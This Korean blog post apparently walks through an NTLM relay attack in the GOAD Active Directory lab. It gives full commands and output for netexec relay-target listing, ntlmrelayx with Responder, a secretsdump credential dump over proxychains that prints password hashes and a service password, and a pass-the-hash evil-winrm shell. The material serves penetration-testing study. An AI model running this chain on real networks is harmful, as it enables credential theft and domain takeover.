GOAD NTLM Relay
이전 포스팅인 GOAD 사용자 및 유저 열거에서 RPC, LDAP, SMB, AS-REP Roasting, Kerberoasting을 통해서 총 4건의 유효한 계정을 탈취할 수 있었다.
이번 포스팅에서는 이전 포스팅의 Responder를 활용하여 NTLM Relay에 대해서 다뤄보도록한다!
NTLM Relay
이전 포스팅에서도 확인했지만 Responder를 통해 GOAD 네트워크 인터페이스를 리스닝하면 robb.stark
와 eddard.stark
NTLM을 획득할 수 있었고, 그중 eddard.stark의 NTLMv2는 hashcat으로도 크랙이 불가능하였다.
SMB to SMB
eddard.stark 계정으로 SMB 연결 시 DNS 조회가 실패하여 브로드캐스팅되는 NTLM을 현재 공격자 PC에서 릴레이 할 수 있도록 ntlmrelayx
를 사용할 수 있다. 하지만 모든 SMB에 전달할 수 있는것은 아니라 서명되지않은 SMB에 전달이 가능하다. GOAD 정찰 및 열거에서도 확인됐지만 언급하지않은 서명되지않은 SMB 서버가 2개 존재했다.
자세한 SMB to SMB 트릭에 대해서는 레드팀 플레이북 - SMB to SMB를 참고
NTLM Relay에 대상 목록을 아래와 같이 netexec로 리스팅할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/GOAD]
└─# netexec smb '192.168.56.0/24' --gen-relay-list relay-targets.txt
SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10.0 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB 192.168.56.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
┌──(root㉿kali)-[~/Desktop/GOAD]
└─# cat relay-targets.txt
192.168.56.22
192.168.56.23
이제 서명이 비활성화된 SMB를 대상으로 일정 시간마다 전달받는 NTLM을 전달하기 위해 impacket의 ntlmrelayx 커멘드를 실행한다.
ntlmrelayx를 실행 후 Responder를 실행하여 쿼리를 릴레이 대상으로 전달해야하는데 기존 Responder에서 캡처된 NTLM이 존재할 경우 재전달하지않는다. 그렇기에 Responder.db 파일을 삭제 후 진행하는것이 좋다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(root㉿kali)-[~/Desktop/GOAD]
└─# ntlmrelayx.py -tf relay-targets.txt -smb2support -socks
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] SOCKS proxy started. Listening at port 1080
[*] IMAPS Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] SMB Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
* Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
* Debug mode: off
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kali)-[~/Desktop/GOAD]
└─# rm -rf /usr/share/responder/Responder.db
┌──(root㉿kali)-[~/Desktop/GOAD]
└─# responder -I eth1
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
To support this project:
Patreon -> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
...
...
...
이후 일정 시간이 지나면 다음과 같이 Responder에서 손상된 연결이 서명되지않은 SMB(192.168.56.22, 192.168.56.23)로 전달되면서 socks 프록시가 해당 세션을 사용하도록 설정된다.
BloodHound를 통해 확인해보면 eddard.stark
는 도메인 어드민으로 릴레이를 통해 활성된 socks 프록시를 통해 관리자 권한으로 컴퓨터에 접근 할 수 있다.
eddrad.stark DCSync 권한을 이용하여 CrackMapExec, Mimikatz, Invoke-DCSync, SharpKatz 등의 다양한 도구를 이용해 DCSync 기능을 실행할 수 있다. 여기선 netexec를 사용하여 NTDS.dit를 덤프하여 도메인의 모든 계정을 탈취하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~]
└─# proxychains -q impacket-secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -outputfile secretsdump.out
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x34c5c632ecd7eb6ce3295884cf02ac1b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2023-12-28 08:56:44)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2024-01-10 03:11:46)
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5: (2024-01-02 06:42:17)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:d09795a3a03af25273172846c6b4a08ac94b8670d3f296b53943dc91a6f1a73e
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:b94931f4890526929e1deb25fbe4e831
NORTH\CASTELBLACK$:des-cbc-md5:fb7a25261f733249
NORTH\CASTELBLACK$:plain_password_hex:430021007400600054003500230053002700560070007700530037004300700036006c00210076005e0075004200510078004b0028003d004e004d0077006e0024003e00740048004e002b0067004d0056004100240044002c00730044005a00550034006d005b005a005a005a0026005f0024003f00520034005500330055003d00640047007a006800310072006f00530061003a0040005f0026004200400067005500520035006400620062005e0073003e0032003f006c00750064002b00580021004b006f004c00230047002600280045003200330053007000440055006700370021005f004e00240060004c00
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:fb1e254aa5e08817ee680b02f9122c42:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x0e6f0960d0b0a2eb2d4ba95da8476044ed80ee37
dpapi_userkey:0xa438d9e3ffa6cb60e75782e5cc3f42c5e60b869b
[*] NL$KM
0000 39 FB 46 D8 43 B6 EC E6 DE D7 CE 1C 50 2D AE B4 9.F.C.......P-..
0010 4F 71 E1 25 BF 5E FB 14 86 14 D6 A3 0F 93 DE 42 Oq.%.^.........B
0020 06 48 F4 35 B1 45 83 7E 1A 98 29 D6 45 19 14 D2 .H.5.E.~..).E...
0030 C4 66 57 03 2B C5 04 01 AE 33 49 CD D2 E0 92 CE .fW.+....3I.....
NL$KM:39fb46d843b6ece6ded7ce1c502daeb44f71e125bf5efb148614d6a30f93de420648f435b145837e1a9829d6451914d2c46657032bc50401ae3349cdd2e092ce
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry
이후 관리자 계정으로 WinRM 접근까지 성공하여 north.sevenkingdoms.local
도메인을 장악하는데 성공한다.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/…/secretsdump/192.168.56.22/Users/Administrator]
└─# evil-winrm -i '192.168.56.22' -u 'Administrator' -H 'dbd13e1c4e338284ac4e9874f7de6ef4'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
castelblack\administrator
Drop the MIC
CVE-2019-1040(Drop the MIC)에 대한 이해가 완벽하지않아 나중에 작성 예정 :(
이렇게 NTLM Relay 시나리오도 마무리하면서 이번 포스팅을 마무리하겠다 :)